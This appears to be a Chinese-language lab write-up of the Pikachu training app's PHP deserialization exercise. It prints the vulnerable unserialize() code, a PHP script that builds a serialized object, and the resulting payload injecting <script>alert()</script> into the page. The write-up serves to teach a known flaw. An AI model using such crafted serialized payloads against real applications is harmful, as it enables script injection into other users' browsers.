基本环境:
系统环境 | Windows |
工具 | burpsuite |
代码审计:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
$s
接收上传的参数
$s = $_POST['o'];
利用'o'进行判断上传数据是否进行过序列化
if(!@$unser = unserialize($s))
1.开启环境:
2.进行测试
根据题目我们可以看到他是反序列化,意思为当我们输入序列化字节流时他会进行反序列化解析,然后执行代码
3.构造一个序列化Payload
<?php
class S{
var $test = "/script>alert(/wj33333/)//script>";
}
// 创建一个对象
$s=new S();
// 把这个对象进行序列化输出
print_r(serialize($s));
?>
输出:
将/替换回<
O:1:"S":1:{s:4:"test";s:33:"<script>alert(/wj33333/)</script>";}